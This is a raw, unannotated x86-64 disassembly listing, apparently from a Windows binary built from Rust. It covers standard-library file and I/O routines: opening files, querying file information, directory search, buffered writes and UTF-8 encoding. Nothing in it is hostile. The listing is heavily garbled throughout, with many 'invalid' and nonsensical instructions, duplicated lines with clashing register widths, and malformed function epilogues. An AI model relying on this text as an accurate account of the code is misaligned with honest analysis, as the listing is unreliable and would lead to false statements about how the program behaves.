and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
movups xmm2, xmmword [rsp + 0x20]
and al, 0x20
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp], xmm2
mov rcx, qword [r12 + 0x2f]
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0xf], ecx
mov dword [rbp + 0xf], ecx
cmovs r13, qword [r11]
pop rbp
movabs al, byte [0x894800000192820f]
invalid
xchg edx, eax
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rdi + 8], ebx
cmp al, 0xa
sub rbx, qword [rbp - 0x60]
jb 0x1400dcb71
invalid
xchg edx, eax
add dword [rax], eax
invalid
invalid
mov qword [rdi + 8], rbx
mov dword [rdi + 8], ebx
cmp al, 0xa
jne 0x1400dcac7
fadd qword [rax]
add byte [rax], al
mov al, 2
mov r14, rbx
mov esi, ebx
mov esi, ebx
jmp 0x1400dc976
nop word cs:[rax + rax]
add dh, al
cmp dword [r8], r8d
invalid
mov byte [rdi + 0x39], 0
add byte [rcx], dh
rol byte [rcx - 0x7d], 0xff
add ecx, dword [rdi]
invalid
invalid
xor eax, eax
cmp r15d, 3
jb 0x1400dc976
cmp r15d, 5
je 0x1400dc976
cmp r15d, 6
cmp edi, 6
jne 0x1400dcabf
add byte [rax], al
add byte [rbp - 0x7b], cl
div byte [rbx + rbp + 0x48]
mov eax, dword [rbp + 0x18]
add byte [rax], al
test r14, r14
je 0x1400dca54
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rax]
cmp r14, 1
je 0x1400dca5e
cmp cl, 0x2e
jne 0x1400dca5e
invalid
stc
jne 0x1400dca5e
invalid
and ecx, dword [rax - 0x75]
sbb byte [r15], r9b
mov dh, 0x40
add dword [rbx + 0x2b742ff8], eax
mov rax, qword [rbp + 0x18]
movzx eax, byte [rax + 1]
cmp eax, 0x2f
je 0x1400dca73
cmp eax, 0x5c
je 0x1400dca73
xor eax, eax
jmp 0x1400dc976
and bh, bh
invalid
invalid
and bh, bh
invalid
xor r14d, r14d
xor eax, eax
jmp 0x1400dc976
div byte [rcx]
shr cl, 0x18
invalid
xor eax, eax
cmp r14, 1
jne 0x1400dc976
cmp cl, 0x2e
jne 0x1400dc976
jne 0x1400dc976
sub rbx, 1
jb 0x1400dcb97
mov qword [rdi + 8], rbx
mov byte [rsi], 7
jmp 0x1400dcb5d
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add byte [rax], al
movzx eax, al
test eax, eax
jne 0x1400dcaad
mov eax, r15d
lea rcx, [0x1401798d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rdi + 0x20]
add rax, 4
jmp 0x1400dcb21
mov byte [rdi + 0x39], 0
sub rbx, 1
jb 0x1400dcb86
mov qword [rdi + 8], rbx
mov byte [rsi], 6
jmp 0x1400dcb5d
mov byte [rsi], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
invalid
invalid
movaps xmm2, xmmword [rbp]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
movups xmmword [rsi + 0x21], xmm2
mov rax, qword [rbp + 0xf]
mov qword [rsi + 0x30], rax
jmp 0x1400dcb5d
invalid
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
test rcx, rcx
cmove rdx, rcx
add rax, rdx
ror byte [rax - 0x7d], 1
ror byte [rax], 0xeb
invalid
ror byte [rax - 0x7d], 1
ror byte [rax], 0xeb
sbb cl, byte [rax - 0x75]
and byte [r8 - 0x75], r9b
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
xor byte [r8 - 0x73], r9b
push rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 2
test rax, rax
je 0x1400dcb56
mov byte [rdi + 0x39], 3
movzx eax, byte [rbp + 0x27]
mov byte [rsi], al
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 1], xmm0
add dword [rdi], r9d
adc dword [rsi + 0x11], ecx
add dword [rdi], r9d
adc dword [rsi + 0x11], ecx
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
mov rax, qword [rbp + 0x18]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x1400dcb5d
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
invalid
call fcn.140108620
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.140108620
lea r8, str.library_std_srcpath.rs
mov rcx, rbx
xor edx, edx
call fcn.140108620
int3
mov rbx, rdx
mov rsi, rcx
lea rcx, [rbp - 0x60]
xor r9d, r9d
call fcn.1400dcd60
cmp dword [rbp - 0x60], 2
jne 0x1400dcc35
mov r14, qword [rbp - 0x58]
mov eax, r14d
and eax, 3
cmp rax, 2
jb 0x1400dcc35
cmp eax, 2
jne 0x1400dcc35
mov rax, r14
shr rax, 0x20
cmp eax, 0x780
jne 0x1400dcc35
lea rcx, [rbp - 0x18]
mov rdx, rbx
mov r8, rdi
mov r9d, 0x200000
call fcn.1400dcd60
cmp dword [rbp - 0x18], 2
jge 0x1400dcc0f
add dh, byte [rbp + 0x40]
jge 0x1400dcc0f
add dh, byte [rbp + 0x40]
lea rcx, [rbp - 0x10]
call fcn.1400d3380
jmp 0x1400dcc81
mov rax, qword [rbp - 0x20]
mov qword [rsi + 0x40], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
movups xmm3, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov eax, dword [rbp + 0x28]
mov ecx, dword [rbp + 0x2c]
test eax, 0x400
je 0x1400dcc8e
mov edx, ecx
and edx, 0x20000000
je 0x1400dcc8e
mov qword [rsi + 8], r14
mov qword [rsi], 2
jmp 0x1400dcc5c
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmm2, xmmword [rbp + 8]
movups xmm3, xmmword [rbp + 0x18]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
lea rcx, [rbp + 0x30]
call fcn.1400d3380
jmp 0x1400dcc5c
mov eax, ebx
and eax, 3
cmp rax, 2
jb 0x1400dcea7
cmp eax, 2
jne 0x1400dcea7
mov rax, rbx
shr rax, 0x20
cmp rax, 5
je 0x1400dce28
cmp eax, 0x20
jne 0x1400dcea7
mov qword [rbp + 0x240], rbx
lea rcx, [rbp + 0x228]
mov rdx, r15
mov r8, r14
call fcn.1400d9730
mov rax, qword [rbp + 0x228]
mov r14, qword [rbp + 0x230]
cmp rax, r13
je 0x1400dce8e
mov rcx, qword [rbp + 0x238]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], rcx
lea rcx, [rbp + 0x210]
lea rdx, [rbp - 0x40]
call fcn.1400dae90
mov r12, qword [rbp + 0x210]
mov r14, qword [rbp + 0x218]
add al, byte [rax]
add byte [rbp + 0x39], cl
in al, dx
add al, byte [rax]
add byte [rbp + 0x39], cl
in al, dx
jne 0x1400dd061
mov qword [rsi + 8], r14
mov dword [rsi + 8], esi
mov qword [rsi], 2
lea rcx, [rbp + 0x240]
add al, byte [rax]
add al, ch
invalid
add byte [rax], al
call fcn.1400d3380
jmp 0x1400dceb2
mov qword [rsi + 8], rbx
mov qword [rsi], 2
add rsp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
fmul dword [0x1420dcecd]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0
xor byte [rax], al
add byte [rax], al
invalid
xor byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add bh, al
and al, 0x20
add eax, dword [rax]
add byte [rax], al
mov dword [rsp + 0x20], 3
mov rcx, r12
mov ecx, esp
xor edx, edx
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateFileW]
adc eax, 0x363ba
adc eax, 0x363ba
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test ch, dh
add byte [rax], al
add byte [rax - 0x77], cl
ret
cmp rax, 0xffffffffffffffff
je 0x1400dcff5
mov rbx, rax
test rdi, rdi
je 0x1400dcf1a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
sub dword [rbp - 0x40], eax
mov dword [rbp - 0x10], 0
lea rdx, [rbp - 0x40]
ror byte [rax - 0x77], 0xd9
call qword [sym.imp.kernel32.dll_GetFileInformationByHandle]
test eax, eax
je 0x1400dd02b
out 0, al
add byte [rax], al
mov ecx, dword [rbp - 0x40]
xor eax, eax
test ecx, 0x400
je 0x1400dcf95
mov qword [rbp + 0x228], 0
lea r8, [rbp + 0x228]
add al, byte [rax]
add byte [rax - 0x77], cl
fnstcw word [rdx + 9]
mov r9d, 8
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x1400dd02b
invalid
add byte [rbx + 0x22885], cl
add cl, al
loopne 0x1400dcf9e
mov eax, dword [rbp + 0x228]
shl eax, 0x15
sar eax, 0x1f
and eax, dword [rbp + 0x22c]
test dword [rdx + rax], ebp
add byte [rax], al
test dword [rdx + rax], ebp
add byte [rax], al
mov ecx, dword [rbp - 0x40]
mov edx, dword [rbp - 0x1c]
mov r8d, dword [rbp - 0x24]
fadd qword [rbx + rcx*4 + 0x4d]
loopne 0x1400dcfea
shl ecx, 0x20
or r9, rdx
mov edx, dword [rbp - 0x18]
call 0x130635af2
push rbp
invalid
mov r11d, dword [rbp - 0x14]
shl r11, 0x20
or r11, r10
mov qword [rsi], 1
mov qword [rsi + 8], r11
mov dword [rsi + 0x10], 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
movups xmmword [rsi + 0x20], xmm0
mov rdx, qword [rbp - 0x2c]
invalid
mov qword [rsi + 0x30], rdx
mov qword [rsi + 0x38], r9
push rbp
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
adc al, 0xc7
sbb byte [rcx], r8b
sbb byte [rcx], al
sbb byte [rcx], al
add byte [rax], al
add byte [rcx + 0x100f1c56], cl
invalid
invalid
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x44], eax
jmp 0x1400dd044
mov dword [rbp + 0x24c], ebx
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
add cl, byte [rax - 0x7b]
dec dword [rdi]
test dl, ch
invalid
std
invalid
invalid
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
retf
invalid
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
ror byte [rbp - 0x77], cl
loopne 0x1400dd020
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x3633a
add cl, ch
sar ebp, cl
invalid
jmp 0x1400dcdfe
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x363f7
shl rax, 0x20
or rax, 2
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
add al, byte [rax]
add byte [rax], al
add cl, byte [rax - 0x77]
or byte [rax - 0x39], r9b
invalid
mov rcx, rbx
add rsp, 0x2d8
add esp, 0x2d8
add esp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_CloseHandle]
lea r15, [rbp - 0x40]
mov r8d, 0x250
push rax
add al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
rol byte [rcx - 0x48], 0x50
push rax
add al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
xor edx, edx
call fcn.140106cb0
mov rcx, r14
mov ecx, esi
mov rdx, r15
call qword [sym.imp.kernel32.dll_FindFirstFileW]
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
invalid
xchg ecx, eax
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test byte [rcx + 0x48000000], dl
mov ecx, eax
mov rcx, rax
call qword [sym.imp.kernel32.dll_FindClose]
invalid
add eax, dword [rax]
mov eax, dword [rbp - 0x40]
movups xmm0, xmmword [rbp - 0x3c]
movsd xmm1, qword [rbp - 0x2c]
movups xmm1, xmmword [rbp - 0x2c]
mov r8d, dword [rbp - 0x20]
mov edx, dword [rbp - 0x24]
fmul qword [rcx + 0x15e1c1c1]
ror byte [r15], 0x10
invalid
invalid
fmul qword [rcx + 0x15e1c1c1]
sar ecx, 0x1f
and ecx, dword [rbp - 0x1c]
in al, 0x83
mov ebp, 0x24c
invalid
je 0x1400dd109
stc
invalid
in al, 0x83
in al, 0x83
mov ebp, 0x24c
add byte [rsi + rcx*2 + 0x48], dh
shl edx, 0x20
shl rdx, 0x20
or rdx, r8
ret 0xc748
mov qword [rsi], 0
mov dword [rsi + 0x10], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bh, al
sbb byte [rax], r8b
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x20], eax
mov dword [rsi + 0x18], 0
movups xmmword [rsi + 0x20], xmm0
movlps qword [rsi + 0x30], xmm1
mov qword [rsi + 0x38], rdx
push rsi
cmp byte [rcx + 0x4e894046], cl
test r12, r12
xor byte [rax - 0x77], r9b
xor byte [rax - 0x77], cl
push rsi
cmp byte [rcx + 0x4e894046], cl
test r12, r12
in al, 0xf
test byte [rdi + 0x48fffffd], ah
invalid
dec dword [rax - 0x75]
or eax, 0xa5167
je 0x1400dce99
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
pop rsp
invalid
add eax, dword [rax]
ror byte [rbp - 0x77], cl
invalid
pop rsp
invalid
jmp 0x1400dce99
invalid
test eax, 0x400
je 0x1400dd0bb
mov r9d, ecx
leave
and r9d, 0x20000000
je 0x1400dd0bb
loope 0x1400dd117
add byte [rax], al
and byte [rdi + rbx*4 + 0x48], dh
mov dword [rsi + 8], ebx
invalid
mov qword [rsi + 8], rbx
or byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
test r12, r12
je 0x1400dceb2
std
invalid
invalid
std
invalid
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dceb2
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [rax + 2]
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [rax + 2]
add byte [rax], al
call fcn.1400d3380
nop
add rsp, 0x38
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 0x18], rdx
call 0xcb55e4ad
call 0x1488654fc
invalid
clc
invalid
invalid
call 0xcb55e4ad
call 0x1488654fc
cmp dword [rax + 8], 0
add byte [rbp + rcx + 0x48], dh
je 0x1400dd1c4
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x1400dd1ca
mov r8, qword [rbp - 0x10]
jmp 0x1400dd1d2
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x140182260]
or eax, 0xa5087
xchg dword [rax + 0xa], edx
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
js 0x1400dd20e
invalid
je 0x1400dd233
invalid
js 0x1400dd20e
sub cl, byte [rax - 0x75]
call 0x150865559
invalid
invalid
js 0x1400dd221
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
adc dword [rdx + 0xc], esi
jb case.0x1400d8b62.196
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
mov rcx, qword [0x140182260]
push rax
or al, byte [rax]
xor edx, edx
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
and byte [rbp - 0x3d], bl
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rcx, qword [rcx]
mov eax, ecx
and eax, 3
loopne 0x1400dd255
and byte [rax - 0x75], cl
or dword [rcx + 0x3e083c8], ecx
loopne 0x1400dd255
loopne 0x1400dd255
lea rdx, [0x1401798ec]
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
jmp rax
invalid
xchg ebx, eax
invalid
invalid
loopne 0x1400dd2ab
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rdx, qword [rcx + 8]
add rsp, 0x20
and byte [rbp - 0x3d], bl
or byte [rax - 0x7d], cl
invalid
and byte [rbp - 0x3d], bl
shr rcx, 0x20
shr ecx, 0x20
call fcn.1400d6290
movzx ecx, al
jmp 0x1400dd281
shr rcx, 0x20
lea rax, [0x14014bda0]
sbb bl, ch
invalid
mov rdx, qword [rax + rcx*8]
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
in al, dx
invalid
add byte [rax - 0x75], cl
add al, 0xc8
add rsp, 0x20
pop rbp
ret
in al, dx
invalid
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
invalid
mov rcx, rax
call qword [rdx + 0x40]
push rdx
invalid
dec dword [rax - 0x75]
push rcx
invalid
push rdx
nop
nop
add rsp, 0x20
pop rbp
ret
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov r8, qword [rcx]
mov ecx, r8d
and ecx, 3
xor eax, eax
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd2df
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
invalid
invalid
call qword [rax + 0x48]
nop
invalid
nop
add rsp, 0x20
pop rbp
ret
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov r8, qword [rcx]
add dword [rcx + rcx*4 - 0x3f], eax
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
jae 0x1400dd325
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd31f
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x30]
nop
add rsp, 0x20
invalid
and byte [rbp - 0x3d], bl
invalid
push rdi
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
test r8, r8
test eax, eax
test eax, eax
je 0x1400dd3fe
movabs byte [0x8948c6894c000000], al
xlatb
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
lea r14, [rbp - 8]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x1401798fc]
jmp 0x1400dd393
invalid
nop dword [rax]
cmp byte [rdx + 0xf], 0x23
jne 0x1400dd400
mov rcx, r14
int1
call fcn.1400d3380
test rsi, rsi
je 0x1400dd3fe
invalid
div byte [rbx + rbp*2 - 0x47]
cmc
invalid
mov ecx, 0xfffffff5
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call 0x1400d3770
invalid
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 8], rdx
clc
invalid
invalid
clc
test rax, rax
je 0x1400dd3d0
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
invalid
loopne 0x1400dd342
jp 0x1400dd3d4
and esi, dword [rdi + rdi*4 - 0x15]
invalid
nop dword [rax]
test rdx, rdx
je 0x1400dd412
cmp eax, 0x48f08948
sub eax, edx
mov rax, rsi
sub rax, rdx
jb 0x1400dd417
cmp cl, byte [rax + 1]
xlatb
add rdi, rdx
mov rsi, rax
test rsi, rsi
jne 0x1400dd393
div byte [rbp - 0x55]
jmp 0x1400dd3fe
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
clc
invalid
je 0x1400dd386
clc
and esi, dword [rdx + rcx*4 - 0x15]
add dh, byte [rcx]
ror byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
jmp 0x1400dd400
xor edx, edx
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rdx, r15
jmp 0x1400dd400
lea r8, [0x14014a2b0]
mov rcx, rdx
mov rdx, rsi
call fcn.1401085a0
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
test r8, r8
je 0x1400dd5d3
invalid
add byte [rcx + rcx*4 - 0x3a], cl
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, r8
mov eax, eax
mov eax, eax
shl rax, 4
xor edx, edx
xor ecx, ecx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp dword [rdi + rdx], 0
jne 0x1400dd482
inc rcx
add rdx, 0x10
cmp rax, rdx
jne 0x1400dd470
cmp rsi, rcx
jb 0x1400dd5ee
sub rsi, rcx
je 0x1400dd5d3
invalid
add dword [rax], eax
invalid
invalid
shl rcx, 4
shl ecx, 4
add rdi, rcx
lea r14, [rbp]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x14017990c]
jmp 0x1400dd4cb
mov rcx, r14
call fcn.1400d3380
test rsi, rsi
je 0x1400dd5d3
add byte [rax], al
lea rax, [rdi - 0x10]
mov r13, rsi
shl r13, 4
mov rcx, r13
jmp 0x1408df3ec
add byte [rax], al
invalid
jmp 0x1408df3ec
test rcx, rcx
je 0x1400dd500
mov r8d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r8, r8
je 0x1400dd4e0
mov rdx, qword [rax + 8]
jmp 0x1400dd508
mov edx, 1
xor r8d, r8d
mov ecx, 0xfffffff4
mov r9, rbx
call 0x1400d3770
mov qword [rbp - 8], rax
mov qword [rbp], rdx
test rax, rax
je 0x1400dd540
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
add rax, r12
jmp rax
invalid
test rdx, rdx
je 0x1400dd5e9
xor r8d, r8d
xor ecx, ecx
mov rax, rdx
nop word cs:[rax + rax]
mov r9d, dword [rdi + r8]
sub rax, r9
jb 0x1400dd592
inc rcx
add r8, 0x10
mov rdx, rax
cmp r13, r8
jne case.0x1400dd260.11
jmp 0x1400dd595
add byte [rax], r8b
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x1400dd4ba
jmp 0x1400dd5d5
mov rax, rdx
cmp rsi, rcx
jb 0x1400dd5ee
mov rdx, rcx
shl rdx, 4
add rdi, rdx
sub rsi, rcx
jne 0x1400dd5b4
test rax, rax
je 0x1400dd4c2
jmp 0x1400dd62f
mov ecx, dword [rdi]
cmp rax, rcx
ja 0x1400dd5fd
cmovs edi, dword [rcx]
enter 0x4277, 0x29
ror dword [rcx + 0x4701480f], 8
sub ecx, eax
mov dword [rdi], ecx
add qword [rdi + 8], rax
cmp qword [rbp - 8], 0
jne 0x1400dd4ba
jmp 0x1400dd4c2
xor edx, edx
mov rax, rdx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdx, r15
jmp 0x1400dd5d5
lea r8, [0x14014a198]
mov rdx, rsi
call fcn.1401085a0
lea rax, str.advancing_IoSlice_beyond_its_length
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str.library_std_src_syspalwindowsio.rs
lea rcx, [rbp - 0x38]
call fcn.140108560
lea rax, str.advancing_io_slices_beyond_their_length
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, [0x14014a1e8]
lea rcx, [rbp - 0x38]
call fcn.140108560
int3
lea rax, [rax + 0x90]
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rsi
pop rbp
ret
lea ebp, [rsp + 0x20]
mov rsi, rcx
cmp qword [rcx + 0x18], 0
je 0x1400ddf18
invalid
or eax, 0xa4350
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x1400ddf3e
lock dec qword [rsi + 8]
jne 0x1400ddf3e
and byte [rax - 0x73], cl
push 0x50
cmp qword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
je 0x1400de143
lea rcx, [rbp - 0x18]
call fcn.1400d3380
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x30]
mov edx, dword [rbp - 0xc]
call fcn.1400d8f40
mov rax, qword [rbp - 0x28]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
mov rcx, qword [rbp - 0x28]
call case.0x1400792d3.1213
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
cmp eax, eax
jb 0x1400de1d7
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call fcn.140106530
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov r8, rsi
call fcn.1401103f0
add eax, dword [rax]
add eax, dword [rax]
mov rdx, r14
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
jmp 0x1400de1b4
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov dword [rbp + 4], 0
cmp edx, 0x80
jae 0x1400de226
invalid
or cl, byte [rax + 0x1be0455]
add byte [rax], al
add bl, ch
jle 0x1400de1b0
mov byte [rbp + 4], dl
mov esi, 1
jmp 0x1400de2a4
mov eax, edx
cmp edx, 0x800
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x18], dh
jae 0x1400de248
jae 0x1400de248
shr eax, 6
or al, 0xc0
mov byte [rbp + 4], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 5], dl
mov esi, 2
jmp 0x1400de2a4
cmp edx, 0xffff
ja 0x1400de274
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 4], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 5], al
and dl, 0x3f
or dl, 0x80
